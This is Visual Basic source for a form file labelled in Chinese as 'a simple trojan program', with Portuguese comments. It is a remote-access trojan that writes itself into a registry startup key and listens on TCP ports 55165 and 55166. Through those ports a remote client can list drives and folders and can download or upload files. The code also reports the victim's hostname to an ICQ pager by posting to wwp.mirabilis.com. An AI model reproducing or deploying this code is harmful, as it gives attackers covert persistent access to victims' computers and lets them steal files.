form1.frm

一个简单的木马程式

      CreateNewKey cRegistry, HKEY_LOCAL_MACHINE
      SetKeyValue HKEY_LOCAL_MACHINE, cRegistry, "", cDestinoEXE, REG_SZ
   End If
End If

End Sub
Private Sub sock_ConnectionRequest(Index As Integer, ByVal requestID As Long)
    On Error Resume Next
    
    If Index = 0 Then
        nConexao = nConexao + 1
        
        Load sock(nConexao)
                
        sock(nConexao).Accept requestID
    End If
End Sub


Private Sub sock_DataArrival(Index As Integer, ByVal bytesTotal As Long)
    Dim cString As String

    On Error Resume Next
    
    sock(Index).GetData cString
    ChecaDados cString, Index

End Sub


Private Sub SockPager_Connect()
   On Error Resume Next

   SockPager.SendData SockPager.Tag
End Sub

Private Sub SockPager_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
   SockPager.Tag = ""
End Sub

Private Sub SockPager_SendComplete()
   SockPager.Tag = ""
End Sub


Private Sub SockTransfer_ConnectionRequest(Index As Integer, ByVal requestID As Long)
    On Error Resume Next
    
    ' Pedidos de conex鮡s de clientes...
    If Index = 0 Then
        
        Load SockTransfer(nConexao)
        SockTransfer(nConexao).Accept requestID
    
    End If
End Sub

Private Sub SockTransfer_DataArrival(Index As Integer, ByVal bytesTotal As Long)
    On Error Resume Next
    
    Dim cString As String
    
    SockTransfer(Index).GetData cString

    cRecebido(Index) = cRecebido(Index) & cString

    On Error GoTo 0
    Debug.Print Len(cRecebido(Index)) & "-" & cTamanhoUP(Index) & " bytes recebidos " & Len(cString)
    
    If Len(cRecebido(Index)) >= cTamanhoUP(Index) Then
        GravarDownload Index
    End If
End Sub

Public Function RotinasInternas()
      Dim cMessage As String
      Dim cData As String
      Dim cSend As String
      
      ' Envia Mensagens para o Pager do ICQ
      SockPager.Close
      
      cIP = SockPager.LocalHostName
      cMessage = "Computador pronto para transferencia de dados !" & vbCrLf & _
                 cIP
      
     cData = "from=anonymous&fromemail=[e-mail]&subject=" & cSubject & "&body=" & cMessage & "&to=" & Trim(TextUIN.Text) & "&Send=" & """"

      cSend = "POST /scripts/WWPMsg.dll HTTP/1.0" & vbCrLf
      cSend = cSend & "Referer: http://wwp.mirabilis.com" & vbCrLf
      cSend = cSend & "User-Agent: Mozilla/4.06 (Win95; I)" & vbCrLf
      cSend = cSend & "Connection: Keep-Alive" & vbCrLf
      cSend = cSend & "Host: wwp.mirabilis.com:80" & vbCrLf
      cSend = cSend & "Content-type: application/x-www-form-urlencoded" & vbCrLf
      cSend = cSend & "Content-length: " & Len(cData) & vbCrLf
      cSend = cSend & "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*" & vbCrLf & vbCrLf
      cSend = cSend & cData & vbCrLf & vbCrLf & vbCrLf & vbCrLf

      SockPager.Tag = cSend
      SockPager.Connect "wwp.mirabilis.com", 80
End Function






Function ChecaDados(cDados As String, Index As Integer)
    ' Declara玢o de vari醰eis...
    Dim cString As String
    Dim cResto As String
    
    Dim cArquivoGrava As String
    Dim cRetornoUP() As String
    
    Dim cRetorno As String
    Dim x As Integer
    
    Dim cParte, ChunkSize: ChunkSize = 16387
    Dim cOpen As Integer: cOpen = 1
    
    On Error Resume Next

    cString = Mid(cDados, 1, 3)
    cResto = Mid(cDados, 4, Len(cDados))
        
    Select Case cString
        Case Listar_Drives
            ' Enumera drives locais...
            For x = 0 To Drive.ListCount - 1
                cRetorno = cRetorno & Drive.List(x) & "|"
            Next
            
            ' Envia dados...
            sock(Index).SendData rListarDrives & Mid(cRetorno, 1, Len(cRetorno) - 1)
    
        Case Listar_Diretorio
            
            ' Coloca barra na vari醰el...
            If Right(cResto, 1) <> "\" Then cResto = cResto & "\"

            On Error GoTo Erro
            Dir.Path = cResto

            ' Enumera diret髍ios locais...
            For x = 0 To Dir.ListCount - 1
                cRetorno = cRetorno & "<" & Dir.List(x) & ">" & "|"
            Next

            ' Enumera arquivos locais...
            For x = 0 To File.ListCount
                cRetorno = cRetorno & File.List(x) & "|"
            Next

            ' Pega diret髍io acima...
            If Dir.List(-2) = Empty Then
                cDiretorioAcima = "\"
            Else
                cDiretorioAcima = Dir.List(-2)
            End If

            ' Prepara vari醰el de retorno...
            If cRetorno <> Empty Then
                cRetorno = Mid(cRetorno, 1, Len(cRetorno) - 1)
                cRetorno = cRetorno & "--" & cDiretorioAcima
                
                ' Envia resposta ao cliente...
                sock(Index).SendData rListar_Diretorio & cRetorno
            
            Else
                ' Envia resposta ao cliente...
                sock(Index).SendData DiretorioBranco
            End If
            
        Case Diretorio_Acima
            
            ' Envia path do diret髍io acima...
            sock(Index).SendData rDiretorio_Acima & Dir.List(-2)

        Case Iniciar_Download
            On Error GoTo 0
            
            ' Pega tamanho do arquivo...
            cTamanho = FileLen(cResto)
                        
            ' Envia tamanho do arquivo...
            sock(Index).SendData TamanhoArquivo & cTamanho
            DoEvents
        
            ' Prepara arquivo para transferencia...
            Close #Index
            Open cResto For Binary As Index
            
            Do While cTamanho > 0

                ' Insere pacotes na vari醰el...
                If cTamanho < 16384 Then
                    cParte = Input(cTamanho, Index)
                    cTamanho = 0
                Else
                    cParte = Input(16384, Index)
                    cTamanho = cTamanho - 16384
                End If
                
                ' Envia pacote...
                SockTransfer(Index).SendData cParte
                DoEvents
                
            Loop
            
            ' Informa que Download foi terminado...
            DoEvents
            sock(Index).SendData Terminar_Download
            
            DoEvents

            ' Fecha arquivo downloadeado...
            Close cOpen
                
        Case Iniciar_Upload
            On Error GoTo 0
            
            ' Pega dados...
            cRetornoUP() = Split(cResto, "|")
            
            ' Insere em vari醰el o nome do arquivo e tamanho...
            cTamanhoUP(Index) = cRetornoUP(1)
            cArquivoUP(Index) = cRetornoUP(0)
            
            ' Informa onde dever?ser gravado o arquivo...
            cArquivoGrava = cDiretorioAtual & "\" & PegaNomeArquivo(cArquivoUP(Index))
            
            On Error Resume Next
            Kill cArquivoGrava
           
            Close #Index
            Open cDiretorioAtual & "\" & PegaNomeArquivo(cArquivoUP(Index)) For Output Access Write As Index
            
    End Select

Exit Function
Erro:
    ' Verifica erros...
    If Err = 68 Then
        sock(Index).SendData Status & "Drive n鉶 dispon韛el !"
    End If
End Function
Function GravarDownload(Index As Integer)
    ' Grava Upload de Arquivos...
    Print #Index, cRecebido(Index)
    Close #Index
End Function

Function InicializaSock()
    On Error Resume Next
    
    ' Inicializa玢o do sock de transferencia de dados...

    

    
    sock(0).Close
    sock(0).Protocol = sckTCPProtocol
    sock(0).RemoteHost = ""
    sock(0).LocalPort = "55165"
    sock(0).Listen
    
    ' Inicializa玢o do sock de transferencia de Arquivos...

    SockTransfer(0).Close
    SockTransfer(0).Protocol = sckTCPProtocol
    SockTransfer(0).RemoteHost = ""
    SockTransfer(0).LocalPort = "55166"
    SockTransfer(0).Listen
End Function

Function PegaNomeArquivo(cArquivo As String) As String
    On Error Resume Next
    
    Dim cRetornos() As String
    Dim x As Integer

    ' Pega somente nome de arquivos...
    cRetornos() = Split(cArquivo, "\")
    For x = 0 To UBound(cRetornos())
        PegaNomeArquivo = cRetornos(x)
    Next

    ' Retorno...
    PegaNomeArquivo = Replace(PegaNomeArquivo, "\", Empty)
End Function

Private Sub Dir_Change()
    On Error Resume Next
    
    ' Atualiza controles...
    File.Path = Dir.Path
    cDiretorioAtual = Dir.Path
    
    File.Refresh
    Dir.Refresh
End Sub

Private Sub Drive_Change()
    On Error Resume Next
    
    ' Atualiza controles...
    Dir.Path = Drive.Drive

    File.Refresh
    Dir.Refresh
End Sub


Private Sub File_Click()
    On Error Resume Next
    
    ' Atualiza controles...
    File.Refresh
    Dir.Refresh
End Sub